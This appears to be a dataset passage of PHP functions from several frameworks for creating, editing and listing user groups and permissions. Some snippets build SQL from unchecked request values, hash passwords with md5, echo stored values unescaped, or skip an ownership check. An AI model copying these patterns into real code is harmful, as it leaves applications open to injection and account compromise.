{\r\n// $old_data = unserialize(str_replace(array(\"\\r\\n{\\r\\n\", \"\\r\\n}\\r\\n\"), array(\"{\", \"}\"), $this->request->data['Serialized']['text']));\r\n $old_data = $this->_xml_to_array($this->request->data['Serialized']['text']);\r\n $groups2 = array_flip($groups);\r\n\r\n $this->request->data = array('Permission' => array());\r\n foreach ($old_data['Permission'] AS $key => $value) {\r\n $this->request->data['Permission'][$key] = array();\r\n foreach ($value AS $sub_key => $checked) {\r\n $this->request->data['Permission'][$key][$groups2[$sub_key]] = $checked;\r\n }\r\n }\r\n }\r\n\r\n foreach ($this->request->data['Permission'] AS $key => &$permission) {\r\n foreach ($permission AS $sub_key => $value) {\r\n if (empty($value)) {\r\n //try to delete relation\r\n $this->RequestersPermission->deleteAll(array(\r\n 'Permission.name' => $key,\r\n 'RequestersPermission.row_id' => $sub_key,\r\n 'RequestersPermission.model' => 'Group'\r\n ), false);\r\n } else {\r\n //is there Permission row with name == $key?\r\n if (($permissionRow = $this->Permission->createIfNotExists($key)) == false) {\r\n $this->Session->setFlash('Zapisywanie uprawnienie zostało przerwane, poniĹĽej przedstawiono stan rzeczywisty');\r\n $this->redirect($this->here);\r\n }\r\n\r\n $requestersPermission = $this->RequestersPermission->find('count', array('conditions' => array(\r\n 'RequestersPermission.permission_id' => $permissionRow['Permission']['id'],\r\n 'RequestersPermission.row_id' => $sub_key,\r\n 'RequestersPermission.model' => 'Group'\r\n )));\r\n if (empty($requestersPermission)) {\r\n $this->RequestersPermission->create(array('RequestersPermission' => array(\r\n 'permission_id' => $permissionRow['Permission']['id'],\r\n 'row_id' => $sub_key,\r\n 'model' => 'Group'\r\n )));\r\n if (!$this->RequestersPermission->save()) {\r\n $this->Session->setFlash('Zapisywanie uprawnienie zostało przerwane, poniĹĽej przedstawiono stan rzeczywisty');\r\n $this->redirect($this->here);\r\n }\r\n }\r\n }\r\n }\r\n }\r\n\r\n $new_data = array('Permission' => array());\r\n foreach ($this->request->data['Permission'] AS $key => $value) {\r\n $new_data['Permission'][$key] = array();\r\n foreach ($value AS $sub_key => $checked) {\r\n $new_data['Permission'][$key][$groups[$sub_key]] = $checked;\r\n }\r\n }\r\n\r\n $dir = APP . 'Config/permissions/';\r\n// $i = 1;\r\n $file_name = $dir . 'groups_permissions.xml';\r\n// while(file_exists($unique_file_name = $dir.'groups_permissions'.$i.'.txt')){\r\n// $i++;\r\n// };\r\n// $filecontent = \"\\n-- Utworzono: \".date('Y-m-d H:i:s').\" \\r\\n\";\r\n// $filecontent .= \"-- Na stacji administrowanej przez: {$_SERVER['SERVER_ADMIN']}\\r\\n\\r\\n\";\r\n// $filecontent .= \"=======Dane do przetworzenia:=======\\r\\n\";\r\n $filecontent = $this->_array_to_xml($new_data);\r\n// $filecontent .= \"\\r\\n================KONIEC==============\\r\\n\";\r\n//debug($new_data);\r\n// file_put_contents($unique_file_name, $filecontent);\r\n file_put_contents($file_name, $filecontent);\r\n\r\n $this->Session->setFlash('Uprawnienia grup zostały zapisane');\r\n $this->redirect($this->here);\r\n }\r\n }",
"public function create()\n {\n $special_users=Company::find(Auth::User()->company_id)->hasUserGroups()->get();\n $id[]='';\n for($i=0; $i<count($special_users); $i++){\n $id[]=$special_users[$i]->administrator;\n }\n\n return view('usergroup.createAdmin')->with('administrators',\n DB::table('users')->where('company_id',Auth::User()->company_id)\n ->join('role_user','role_user.user_id','=','users.id')\n ->where('role_user.role_id','=',2)\n ->lists('users.name','users.id'))\n ->with('users',DB::table('users')->where('company_id',Auth::User()->company_id)\n ->join('role_user','role_user.user_id','=','users.id')\n ->where('role_user.role_id','!=',1)->get());\n }",
"public function editAction() {\n\t\t$groupId = $this->_request->getParam ( \"id\" );\n\t\tif ($groupId == \"\") {\n\t\t\t$this->_redirect ( 'index' );\n\t\t}\n\t\t$userGroupMapper = new Default_Model_Mapper_UserGroup ();\n\t\t$userGroup = $userGroupMapper->find ( $groupId );\n\t\tif (! $userGroup) {\n\t\t\t$this->_redirect ( 'index' );\n\t\t}\n\t\t$form = new Default_Form_UserGroup ();\n\t\t$this->_save ( $form, self::$EDIT_MODE );\n\t\t$formData = $userGroup->toArray ();\n\t\t$userGroupModuleMapper = new Default_Model_Mapper_UserGroupModule ();\n\t\t$userGroupModules = $userGroupModuleMapper->fetchAll ( \"user_group_id = \" . $groupId );\n\t\t$modules = array ();\n\t\tforeach ( $userGroupModules as $userGroupModule ) {\n\t\t\t$modules [] = $userGroupModule->getModuleId ();\n\t\t}\n\t\t$formData ['modules'] = $modules;\n\t\t$form->populate ( $formData );\n\t\t$form->setAction ( $this->view->url ( array (\n\t\t\t\t\"module\" => \"default\",\n\t\t\t\t\"controller\" => 'user-group',\n\t\t\t\t\"action\" => 'edit',\n\t\t\t\t'id' => $groupId \n\t\t) ) );\n\t\tunset($form->getElement('modules')->required);\n\t\t$this->view->form = $form;\n\t\t$this->render ( \"add-edit\" );\n\t}",
"function editGroupHandler() {\n global $inputs;\n\n updateDb('group',[\n 'group_name' => $inputs['name'],\n 'description' => $inputs['desc'],\n ], [\n 'id' => $inputs['id'],\n 'admin_id' => getLogin()['uid']\n ]);\n\n formatOutput(true, 'update success');\n}",
"public function index() {\n\t\t$this->UserGroup->unbindModel( array('hasMany' => array('UserGroupPermission')));\n\t\t$userGroups=$this->UserGroup->find('all', array('order'=>'UserGroup.id'));\n\t\t$this->set('userGroups', $userGroups);\n\t}",
"public function editAction(){\n $this->title = 'Edit user group';\n \n $form = new GroupForm();\n $groupModel = new Group();\n \n if ($this->getRequest()->isPost()) {\n if($form->isValid($this->getRequest()->getPost())) {\n $groupModel->save($form->getValues());\n $this->_helper->FlashMessenger(\n array(\n 'msg-success' => 'The group was successfully edited.',\n )\n );\n \n $this->_redirect('/groups/');\n }\n }else{\n $id = $this->_getParam('id');\n \n if (!is_numeric($id)) {\n $this->_helper->FlashMessenger(\n array(\n 'msg-success' => 'The provided group_id is invalid.',\n )\n );\n \n $this->_redirect('/groups/');\n }\n if(in_array($id,array(1,2,3,4))){\n $this->_helper->FlashMessenger(\n array(\n 'msg-error' => 'You can not edit default user groups',\n )\n );\n \n $this->_redirect('/groups/');\n }\n $row = $groupModel->findById($id);\n \n if (empty($row)) {\n $this->_helper->FlashMessenger(\n array(\n 'msg-success' => 'The requested group could not be found.',\n )\n );\n \n $this->_redirect('/groups/');\n }\n \n $form->populate($row);\n $this->view->item = $row;\n }\n \n $this->view->form = $form;\n }",
"function updateMemberGroup()\n {\n // ------------------------------------\n // Only super admins can administrate member groups\n // ------------------------------------\n\n if (Session::userdata('group_id') != 1) {\n return Cp::unauthorizedAccess(__('members.only_superadmins_can_admin_groups'));\n }\n\n $edit = (bool) Request::has('group_id');\n\n $group_id = Request::input('group_id');\n $clone_id = Request::input('clone_id');\n\n unset($_POST['group_id']);\n unset($_POST['clone_id']);\n\n // No group name\n if ( ! Request::input('group_name')) {\n return Cp::errorMessage(__('members.missing_group_name'));\n }\n\n $return = (Request::has('return'));\n\n $site_ids = [];\n $plugin_ids = [];\n $weblog_ids = [];\n $template_ids = [];\n\n // ------------------------------------\n // Remove and Store Weblog and Template Permissions\n // ------------------------------------\n\n $data = [\n 'group_name' => Request::input('group_name'),\n 'group_description' => Request::input('group_description'),\n ];\n\n $duplicate = DB::table('member_groups')\n ->where('group_name', $data['group_name']);\n\n if (!empty($group_id)) {\n $duplicate->where('group_id', '!=', $group_id);\n }\n\n if($duplicate->count() > 0) {\n return Cp::errorMessage(__('members.duplicate_group_name'));\n }\n\n // ------------------------------------\n // Preferences\n // ------------------------------------\n\n $preferences['group_id'] = $group_id;\n $preferences['is_locked'] = Request::input('is_locked');\n\n foreach(static::$group_preferences as $group => $prefs) {\n foreach((array) $prefs as $key => $default) {\n if (Request::has($key)) {\n $preferences[$key] = Request::get($key);\n }\n }\n }\n\n foreach (Request::all() as $key => $val)\n {\n if (substr($key, 0, strlen('weblog_id_')) == 'weblog_id_') {\n $preferences[$key] = ($val == 'y') ? 'y' : 'n';\n } elseif (substr($key, 0, strlen('plugin_name_')) == 'plugin_name_') {\n $preferences[$key] = ($val == 'y') ? 'y' : 'n';\n } elseif (substr($key, 0, strlen('can_access_offline_site_id_')) == 'can_access_offline_site_id_') {\n $preferences[$key] = ($val == 'y') ? 'y' : 'n';\n } elseif (substr($key, 0, strlen('can_access_cp_site_id_')) == 'can_access_cp_site_id_') {\n $preferences[$key] = ($val == 'y') ? 'y' : 'n';\n } else {\n continue;\n }\n }\n\n if ($edit === false)\n {\n $group_id = DB::table('member_groups')->insertGetId($data);\n\n foreach($preferences as $handle => $value) {\n $prefs =\n [\n 'group_id' => $data['group_id'],\n 'handle' => $handle,\n 'value' => $value\n ];\n\n DB::table('member_group_preferences')->insert($prefs);\n }\n\n $uploads = DB::table('upload_prefs')\n ->select('id')\n ->get();\n\n foreach($uploads as $yeeha)\n {\n DB::table('upload_no_access')\n ->insert(\n [\n 'upload_id' => $yeeha->id,\n 'upload_loc' => 'cp',\n 'member_group' => $group_id\n ]);\n }\n\n $message = __('members.member_group_created').' '.$_POST['group_name'];\n }\n else\n {\n DB::table('member_groups')\n ->where('group_id', $data['group_id'])\n ->update($data);\n\n DB::table('member_group_preferences')\n ->where('group_id', $data['group_id'])\n ->delete();\n\n foreach($preferences as $handle => $value) {\n $prefs =\n [\n 'group_id' => $data['group_id'],\n 'handle' => $handle,\n 'value' => $value\n ];\n\n DB::table('member_group_preferences')->insert($prefs);\n }\n\n $message = __('members.member_group_updated').' '.$_POST['group_name'];\n }\n\n // Update CP log\n Cp::log($message);\n\n $this->clearMemberGroupCache($data['group_id']);\n\n if ($return == true) {\n return $this->member_group_manager($message);\n }\n\n return $this->editMemberGroup($message, $group_id);\n }",
"public function actionManageGroup()\n {\n \n $modelManageGroupChild = new ManageGroupChild();\n $formGroup = new UserSettingsForm();\n $modelRoleForm = new RoleForm();\n $propertyCategory = ArrayHelper::map(PropertyCategory::find()->all(), 'id', 'title');\n $searchModel = new UserSearch();\n $searchModelAuthItem = new AuthItemSearch();\n $searchModelManageGroup = new ManageGroupSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n $roleDdataProvider = $searchModelAuthItem->search(Yii::$app->request->queryParams);\n $manageGroupProvider = $searchModelManageGroup->search(Yii::$app->request->queryParams);\n $model = reset($dataProvider->getModels());\n $modelRole = (new AuthItem())->getFirstRecordModel();\n $modelManageGroup = (new ManageGroup())->getFirstRecordModel();\n $modelRoleForm->name = $modelRole->name; \n $modelRoleForm->description = $modelRole->description; \n $authItems = ArrayHelper::map(\n AuthItem::find()\n ->where(['!=', 'name', 'Owner'])\n ->andWhere(['type' => '1', 'company_id' => $this->companyId])\n ->all(), \n 'name', 'name'\n );\n\n $groupsItems = ArrayHelper::map(\n ManageGroup::find()\n ->select(['group_name'])\n ->andWhere(['company_id' => $this->companyId])\n ->all(), \n 'group_name', 'group_name'\n );\n $groupsOwner = ArrayHelper::map(\n OwnerManageGroup::find()\n ->select(['group_name'])\n ->andWhere(['owner_id' => $model->id])\n ->all(), \n 'group_name', 'group_name'\n );\n $modelRoleForm->setCheck($modelRole->name);\n\n $formGroup->ownergroup = $groupsOwner;\n return $this->render('manageGroup', [\n 'modelManageGroupChild' => $modelManageGroupChild,\n 'formGroup' => $formGroup,\n 'dataProvider' => $dataProvider,\n 'manageGroupProvider' => $manageGroupProvider,\n 'searchModel' => $searchModel,\n 'model' => $model,\n 'propertyCategory' => $propertyCategory,\n 'authItems' => $authItems,\n 'groupsItems' => $groupsItems,\n 'disabledGroup' => true,\n 'modelManageGroup' => $modelManageGroup,\n 'modelImgPrew' => $model->img_user_profile\n ]);\n }",
"function add_group() {\n $this->acl->validate_update();\n\n $where = array(\n 'user_id' => $this->input->post('user_id'),\n 'group_id' => $this->input->post('group_id')\n );\n // Insert or update, to minimize redundancy\n list($flag, $msg) = $this->m_general->insert_update('users_group', $this->input->post(), $where);\n\n return JSONRES($flag, $msg);\n }",
"public function groups() {\n\t\t//variabel\n\t\t$data['datas'] = $this->PbkGroups_model->get_all();\n\t\t\n\t\t$template_data['title'] = 'SMS Gateway ';\n\t\t$template_data['subtitle'] = 'Kirim SMS';\n $template_data['crumb'] = ['SMS Gateway' => 'smsgateway', 'SMS Groups' => 'smsgateway/kirimsms/groups',];\n\t\t//view\n\t\t$this->layout->set_wrapper('groups_form', $data);\n\t\t$this->layout->auth();\n\t\t$this->layout->render('admin', $template_data);\n\t}",
"public function admin_index(){\n \n $this->set(\"title_for_layout\",\"Manage Satellite Groups\");\n \n // Load all configured groups\n $this->set('groups', $this->Group->find('all'));\n }",
"public function changeUserGroup()\n {\n $userId = $this->request->variable('user_id',0);\n $groupId = $this->request->variable('group_id',9999);\n\n if($userId === 0 || $groupId === 9999)\n {\n $this->sendResponse([\n 'status' => 'failed',\n 'message' => 'Invalid data supplied',\n 'error' => ['User ID was not supplied']\n ]);\n }\n\n /**\n * Group IDs\n * 5 - ADMIN\n * 4 - GLOBAL MOD\n * 2 - REGISTERED\n */\n $arrGroups = group_memberships(false, [$userId]);\n\n $arrCurrentGroupIds = [];\n\n // Get the user's current groups\n foreach($arrGroups as $group)\n {\n $arrCurrentGroupIds[$group['group_id']] = $group['group_id'];\n }\n\n // If the new group is 'registered user' we need to remove the user from\n // any admin or moderator groups they were previously in\n if($groupId < 4)\n {\n // User was an admin - remove them from the admin group\n if(in_array(5,$arrCurrentGroupIds))\n {\n group_user_del(5,[$userId]);\n }\n\n // User was a global mod - remove them from the global mod group\n if(in_array(4,$arrCurrentGroupIds))\n {\n group_user_del(4,[$userId]);\n }\n }\n\n // If the user is being made an admin, make sure they are a global mod too\n if($groupId == 5 AND !in_array(4,$arrCurrentGroupIds))\n {\n group_user_add(4, [$userId],false, false, false);\n }\n\n // User could already have the group they need if they are\n // being downgraded. Check if they have the group and\n // if not, add them. If they were, then make it the default\n if(!in_array($groupId,$arrCurrentGroupIds))\n {\n group_user_add($groupId, [$userId],false, false, true);\n }\n else\n {\n group_set_user_default($groupId,[$userId]);\n }\n\n // Send success response\n $this->sendResponse([\n 'status' => 'success',\n 'message' => 'phpBB user\\'s group was updated',\n 'data' => [\n 'user_id' => $userId,\n 'group_id' => $groupId\n ]\n ]);\n }",
"public function admin_edit(){\n \n $this->set(\"title_for_layout\",\"Edit a Group\");\n \n // Load the group in question\n $group = $this->Group->find('first', array('conditions' => array('Group.id' => $this->params->id)));\n if($group){\n // Load all of the satellites\n $satellites = $this->Satellite->find('all');\n $group_satellites = array();\n \n // Assemble an array of the ID's of the satellites in the group\n foreach($group['Satellite'] as $group_satellite){\n array_push($group_satellites, $group_satellite['id']);\n }\n \n $this->set('group', $group);\n $this->set('satellites', $satellites);\n $this->set('group_satellites', $group_satellites);\n } else {\n $this->Session->setFlash('That group could not be found.', 'default', array('class' => 'alert alert-error'));\n $this->redirect(array('controller' => 'group', 'action' => 'index', 'admin' => true));\n }\n }",
"public function creategroupAction()\n\t{\n\n\t\t$this->saveAction('UserGroup');\n\t}",
"public function editAction() {\n $uid = $this->getInput('uid');\n $userInfo = Admin_Service_User::getUser(intval($uid));\n list(, $groups) = Admin_Service_Group::getAllGroup();\n $this->assign('userInfo', $userInfo);\n $this->assign('groups', $groups);\n $this->assign('status', $this->status);\n $this->assign(\"meunOn\", \"sys_user\");\n }",
"public function updateUserGroup(Request $request)\n {\n\t\t$validation=Validator::make($request->all(),[\n 'name'=>'required|max:255',\n 'editor1'=>'required',\n ]);\n if($validation->fails()){\n return redirect()->back()->withErrors($validation)->withInput();\n }else{\n\t\t\t//Checks to see if the user group exists\n if(Company::find(Auth::User()->company_id)->hasUserGroups()->where(strtoupper('name'),strtoupper($request->name))->exists()){\n\t\t\tDB::beginTransaction();\n\t\t\ttry{\n\t\t\t DB::table('user_groups')\n\t\t\t\t\t\t->where('id',$request->id)\n\t\t\t\t\t\t->update([\n\t\t\t\t\t\t\t'name'=>$request->name,\n\t\t\t\t\t\t\t'description'=>$request->editor1,\n\t\t\t\t\t\t\t'company_id'=>Auth::User()->company_id,\n\t\t\t\t\t\t\t'created_by'=>Auth::id(),\n\t\t\t\t\t\t\t'administrator'=>$request->administrator\n ]);\n\n\n\t\t\tif(!empty($request->usersToRemove)){\n foreach($request->usersToRemove as $user){\n\t\t\t\t\tDB::table('user_in_groups')\n\t\t\t\t\t\t->where('user_id', $user)\n\t\t\t\t\t\t->where('user_group_id', $request->id)\n\t\t\t\t\t\t->delete();\n\t\t\t\t}\n\t\t\t}\n\t\t\t\t\n\t\t\tif(!empty($request->usersToAdd)){\n\t\t\t\tforeach($request->usersToAdd as $user){\n\t\t\t\t\tDB::table('user_in_groups')\n\t\t\t\t\t\t->insert([\n\t\t\t\t\t\t\t'user_id'=>$user,\n\t\t\t\t\t\t\t'user_group_id'=>$request->id\n\t\t\t\t\t\t]);\n\t\t\t\t}\n\t\t\t}\n\t\t\tDB::commit();\n\t\t\t}catch(\\Exception $e){\n\t\t\t\tDB::rollback();\n\t\t\t\treturn \"An error occured; your request could not be completed \".$e->getMessage();\n\t\t\t}\t\n return Redirect::to('admin/usergroup')->with('success','A new user group has been edited successfully.');\n }else{\n return redirect()->back()->with('fail','A group with that name does not exist in your company. Please try a group with different name.')->withInput(); \n }\n\t\t \n }\n }",
"public function view_admin() {\n\t\t$this->layout = 'admin';\n\t\t$params = array('order' => 'Group.id DESC');\n\t\t$this->set('groups', $this->Group->find('all', $params));\n\t}",
"public function index()\n {\n // $data=AuthGroup::find(1)->admin;\n // dump($data);\n $group=AuthGroup::get();\n $str=\"\";\n foreach($group as $k=>$v){\n $admin=$v->admin;\n foreach($admin as $kk=>$vv){\n $str.=$vv->username.\",\";\n $group[$k]['username']=substr($str,0,strlen($str)-1);\n } \n \n }\n return view('admin.role.index',['group'=>$group]);\n }",
"function updateGroup() {\n\t\t$groupId = Request::getUserVar('groupId') === null? null : (int) Request::getUserVar('groupId');\n\t\tif ($groupId === null) {\n\t\t\t$this->validate();\n\t\t\t$group = null;\n\t\t} else {\n\t\t\t$this->validate($groupId);\n\t\t\t$group =& $this->group;\n\t\t}\n\t\t$this->setupTemplate($group);\n\n\t\timport('classes.manager.form.GroupForm');\n\n\t\t$groupForm = new GroupForm($group);\n\t\t$groupForm->readInputData();\n\n\t\tif ($groupForm->validate()) {\n\t\t\t$groupForm->execute();\n\t\t\tRequest::redirect(null, null, 'groups');\n\t\t} else {\n\n\t\t\t$templateMgr =& TemplateManager::getManager();\n\t\t\t$templateMgr->append('pageHierarchy', array(Request::url(null, 'manager', 'groups'), 'manager.groups'));\n\n\t\t\t$templateMgr->assign('pageTitle',\n\t\t\t\t$group?\n\t\t\t\t\t'manager.groups.editTitle':\n\t\t\t\t\t'manager.groups.createTitle'\n\t\t\t);\n\n\t\t\t$groupForm->display();\n\t\t}\n\t}",
"function insert_userGroup($data){\n $user = array();\n $user_group = array();\n\n // Insert user\n $user['id'] = $data['id'];\n $user['username'] = $data['username'];\n $user['password'] = md5($data['password']);\n $user['email'] = $data['email'];\n insertRecord(TAB_USERS, $user);\n\n // Insert user-role\n $group = $data['group'];\n $data['group'] = selectRecord(TAB_GROUPS, \"role = '$group'\")['id'];\n $user_group['userId'] = $data['id'];\n $user_group['groupId'] = $data['group'];\n insertRecord(TAB_USR_ROLE, $user_group);\n if($group['id'] == 1){\n $data_info = array();\n $data_info['employment'] = \"-\";\n $data_info['img_address'] = \"upload/user/user-default.png\";\n $data_info['user'] = $data['id'];\n insertRecord(TAB_PERSONALINFO, $data_info);\n }\n}",
"function groupUserListManage(&$array, $groupid)\n{\n\tglobal $db;\n\n\t$res = $db->query('select group_user_user from group_user where group_user_group=' . $groupid);\n\n\tforeach($res as $row)\n\t{\n\t\t$res = $db->query('select user_name from users where user_id=' . $row['group_user_user']);\n\t\tarray_push($array, array(\n\t\t\tdecode($res[0]['user_name']),\n\t\t\tgetForm('', array(\n\t\t\t\t\tarray('', array('type'=>'submit', 'name'=>'submit-remove-user', 'val'=>'Remove')),\n\t\t\t\t\tarray('', array('type'=>'hidden', 'name'=>'userid', 'val'=>$row['group_user_user'])),\n\t\t\t\t\tarray('', array('type'=>'hidden', 'name'=>'g', 'val'=>$groupid)),\n\t\t\t\t\tarray('', array('type'=>'hidden', 'name'=>'a', 'val'=>'edit-group')),\n\t\t\t))\n\t\t));\n\t}\n}",
"function adrotate_manage_group() {\n\tglobal $wpdb, $adrotate_config, $adrotate_debug;\n\n\t$status = $view = $group_edit_id = '';\n\tif(isset($_GET['status'])) $status = esc_attr($_GET['status']);\n\tif(isset($_GET['view'])) $view = esc_attr($_GET['view']);\n\tif(isset($_GET['group'])) $group_edit_id = esc_attr($_GET['group']);\n\n\tif(isset($_GET['month']) AND isset($_GET['year'])) {\n\t\t$month = esc_attr($_GET['month']);\n\t\t$year = esc_attr($_GET['year']);\n\t} else {\n\t\t$month = date(\"m\");\n\t\t$year = date(\"Y\");\n\t}\n\t$monthstart = mktime(0, 0, 0, $month, 1, $year);\n\t$monthend = mktime(0, 0, 0, $month+1, 0, $year);\t\n\n\t$now \t\t\t= adrotate_now();\n\t$today \t\t\t= adrotate_date_start('day');\n\t$in2days \t\t= $now + 172800;\n\t$in7days \t\t= $now + 604800;\n\t?>\n\t<div class=\"wrap\">\n\t\t<h1><?php _e('Groups', 'adrotate-pro'); ?></h1>\n\n\t\t<?php if($status > 0) adrotate_status($status); ?>\n\n\t\t<div class=\"tablenav\">\n\t\t\t<div class=\"alignleft actions\">\n\t\t\t\t<a class=\"row-title\" href=\"<?php echo admin_url('/admin.php?page=adrotate-groups');?>\"><?php _e('Manage', 'adrotate-pro'); ?></a> | \n\t\t\t\t<a class=\"row-title\" href=\"<?php echo admin_url('/admin.php?page=adrotate-groups&view=addnew');?>\"><?php _e('Add New', 'adrotate-pro'); ?></a>\n\t\t\t</div>\n\t\t</div>\n\n \t<?php\n\t if ($view == \"\") {\n\t\t\tinclude(\"dashboard/publisher/groups-main.php\");\n\t \t} else if($view == \"addnew\" OR $view == \"edit\") {\n\t\t\tinclude(\"dashboard/publisher/groups-edit.php\");\n\t \t}\n\t \t?>\n\t\t<br class=\"clear\" />\n\n\t\t<?php echo adrotate_trademark(); ?>\n\n\t</div>\n<?php\n}",
"public static function groups_page()\n\t{\n\n\t\t//If the form was submitted\n\t\tif ( $_POST ){\n\n\t\t\t//Do a bit of validation\n\t\t\tif ( ! $_POST['mz_group_name'] ){\n\t\t\t\t$error = 'You must fill in the form';\n\t\t\t\tmz_Groups::newGroupForm( $error );\n\t\t\t} else {\n\t\t\t\t//Make the update\n\t\t\t\t$mz_group_name = esc_sql( stripslashes( $_POST['mz_group_name'] ) );\n\t\t\t\tglobal $wpdb;\n\t\t\t\t$ins = $wpdb->query('INSERT INTO ' . $wpdb->prefix . GROUPS_DB_TABLE . ' ( groupname , groupactive ) VALUES (\"' . $mz_group_name . '\" , \"0\") ');\n\t\t\t}\n\n\t\t}\n\n\n\t\techo '<div class=\"wrap\">';\n\t\techo '<h2>Mentorz - Group Administration</h2>';\n\n\t\t//Generate the form\n\t\tmz_Groups::newGroupForm();\n\n\t\tglobal $wpdb;\n\t\t$results = $wpdb->get_results('SELECT * FROM ' . $wpdb->prefix . GROUPS_DB_TABLE , ARRAY_A);\n\n\t\tif(count($results)){\n\t\t\t\n\t\t\techo '<p> </p>';\n\t\t\techo '<table cellspacing=\"0\" class=\"widefat\">';\n\t\t\techo '<thead>';\n\t\t\t\techo '<tr>';\n\t\t\t\t\techo '<th class=\"column-title\"><span>Group Name</span></th>';\n\t\t\t\t\t//echo '<th class=\"column-title\">Group Active</th>';\n\t\t\t\t\techo '<th class=\"column-title\">Edit</th>';\n\t\t\t\t\techo '<th class=\"column-title\">Delete</th>';\n echo '<th class=\"column-title\">Info</th>';\n\n echo '</tr>';\n\t\t\techo '</thead>';\n\n\t\t\tforeach ($results as $key => $value) {\n\n\t\t\t\t//Clean up the status\n\t\t\t\t$status = $value['groupactive'];\n\t\t\t\tif ( $status == 0 ){\n\t\t\t\t\t$status = \"Inactive\";\n\t\t\t\t} elseif ( $status == 1 ){\n\t\t\t\t\t$status = \"Active\";\n\t\t\t\t}\n\n\t\t\t\techo '<tbody>';\n\t\t\t\t\techo '<tr>';\n\t\t\t\t\t\techo '<td>' . $value['groupname'] . '</td>';\n\t\t\t\t\t\t//echo '<td>' . $status . '</td>';\n\t\t\t\t\t\techo '<td style=\"width: 30px;\">';\n\t\t\t\t\t\t\techo '<a href=\"' . str_replace( '%7E', '~', $_SERVER['REQUEST_URI']) . '&edit='.$value['groupid'].'\" class=\"\">EDIT</a>';\n\t\t\t\t\t\techo '</td>';\n\t\t\t\t\t\techo '<td style=\"width: 30px;\">';\n\t\t\t\t\t\t\techo '<a href=\"' . str_replace( '%7E', '~', $_SERVER['REQUEST_URI']) . '&del='.$value['groupid'].'\" class=\"\">DELETE</a>';\n\t\t\t\t\t\techo '</td>';\n echo '<td style=\"width: 30px;\">';\n echo '<a href=\"#\" class=\"mz_accordion_button\" rel=\"mz_accord_'.$value['groupid'].'\">INFO</a>';\n echo '</td>';\n\t\t\t\t\techo '</tr>';\n\n echo '<tr class=\"mz_accord mz_accord_'.$value['groupid'].'_inner\">';\n echo '<td style=\"width: 30px;\" colspan=\"99\">';\n echo '<div>';\n\n $mentor = mz_Func::get_group_mentor( $value['groupid'] );\n\n if ( $mentor ){\n echo '<h4>The group mentor is ' . mz_Func::get_group_mentor( $value['groupid'] ) . '</h4>';\n } else {\n echo '<h4>The group does not have a mentor</h4>';\n }\n\n $students = mz_func::get_all_students_in_group( $value['groupid'] );\n\n if ( $students ){\n\n echo '<h4>The groups beneficiaries are</h4>';\n echo '<ul>';\n\n foreach ( $students as $student ) {\n\n echo '<li>'.mz_Func::get_users_display_name( $student['userid'] ).'</li>';\n\n }\n\n echo '</ul>';\n\n } else {\n\n echo '<h4>The group does not have any beneficiaries</h4>';\n\n }\n\n\n\n echo '</div>';\n echo '</td>';\n echo '</tr>';\n\n\t\t\t\techo '</tbody>';\n\n\n\t\t\t}//fe\n\n\t\t} else {\n\n\t\t\techo '<h3>There are no groups yet</h3>';\n\t\t\t\n\t\t}\n\n\t\techo '</div>';\n\n\t}",
"function editGroupHandler1() {\n global $inputs;\n\n updateDb('group',[\n 'group_name' => $inputs['name'],\n 'description' => $inputs['desc'],\n ], [\n 'id' => $inputs['id'],\n ]);\n\n formatOutput(true, 'update success');\n}",
"function set_userGroup($data, $oldId){\n $data_user = array();\n $data_group = array();\n $data_user['id'] = $data['id'];\n $data_user['username'] = $data['username'];\n $data_user['password'] = $data['password'];\n $data_user['email'] = $data['email'];\n\n $group = $data['group'];\n $data['group'] = selectRecord(TAB_GROUPS, \"role = '$group'\")['id'];\n $data_group['userId'] = $data['id'];\n $data_group['groupId'] = $data['group'];\n\n updateRecord(TAB_USR_ROLE, $data_group, \"userId = $oldId\");\n updateRecord(TAB_USERS, $data_user, \"id = $oldId\");\n $data_info = array();\n if($data['group'] == 1){\n $data_info = array();\n $data_info['employment'] = \"-\";\n $data_info['img_address'] = \"upload/user/user-default.png\";\n $data_info['user'] = $data['id'];\n insertRecord(TAB_PERSONALINFO, $data_info);\n }\n}",
"public function addAction() {\n list(, $groups) = Admin_Service_Group::getAllGroup();\n $this->assign('groups', $groups);\n $this->assign(\"meunOn\", \"sys_user\");\n }",
"public static function install()\n {\n Config::addConfigCategory('group');\n Config::addConfig('group', 'defaultGroup', 5);\n Config::saveConfig();\n self::$db->newTable('groups');\n self::$db->addfield('name', 'varchar', '32');\n self::$db->addfield('permissions', 'text', '');\n self::$db->createTable();\n $fields = [\n 'name' => 'Admin',\n 'permissions' =>'{\"uploadImages\":true,\"sendMessages\":true,\"pageLimit\":100,\"adminAccess\":true,\"modAccess\":true,\"memberAccess\":true,\"bugReport\":true,\"feedback\":true}'\n ];\n self::$db->insert('groups', $fields);\n $fields = [\n 'name' => 'Moderator',\n 'permissions' =>'{\"uploadImages\":true,\"sendMessages\":true,\"pageLimit\":75,\"adminAccess\":false,\"modAccess\":true,\"memberAccess\":true,\"bugReport\":true,\"feedback\":true}'\n ];\n self::$db->insert('groups', $fields);\n $fields = [\n 'name' => 'Member',\n 'permissions' =>'{\"uploadImages\":true,\"sendMessages\":true,\"pageLimit\":50,\"adminAccess\":false,\"modAccess\":false,\"memberAccess\":true,\"bugReport\":true,\"feedback\":true}'\n ];\n self::$db->insert('groups', $fields);\n $fields = [\n 'name' => 'User',\n 'permissions' =>'{\"uploadImages\":true,\"sendMessages\":true,\"pageLimit\":25,\"adminAccess\":false,\"modAccess\":false,\"memberAccess\":false,\"bugReport\":true,\"feedback\":true}'\n ];\n self::$db->insert('groups', $fields);\n $fields = [\n 'name' => 'Guest',\n 'permissions' =>'{\"uploadImages\":false,\"sendMessages\":false,\"pageLimit\":10,\"adminAccess\":false,\"modAccess\":false,\"memberAccess\":false,\"bugReport\":false,\"feedback\":true}'\n ];\n self::$db->insert('groups', $fields);\n return self::$db->getStatus();\n }",
"public function addAction() {\n\t\t$form = new Default_Form_UserGroup ();\n\t\t$userGroup = new Default_Model_UserGroup ();\n\t\t$userGroupMapper = new Default_Model_Mapper_UserGroup ();\n\t\t$this->_save ( $form, self::$ADD_MODE );\n\t\tunset($form->getElement('modules')->required);\n\t\t$this->view->form = $form;\n\t\t$this->render ( \"add-edit\" );\n\t}",
"public function postGroup()\n {\n $group = $this->em->newEntity( 'friends\\model\\Group' );\n $loadable = $this->role->applyLoadable( $group );\n $loadable->loadData();\n if( $loadable->validate() )\n {\n $active = $this->role->applyActive( $group );\n $active->save();\n $jump = $this->view->get( 'appUrl' ) . 'group';\n header( 'Location: ' . $jump );\n exit;\n }\n return $this->getGroup();\n }",
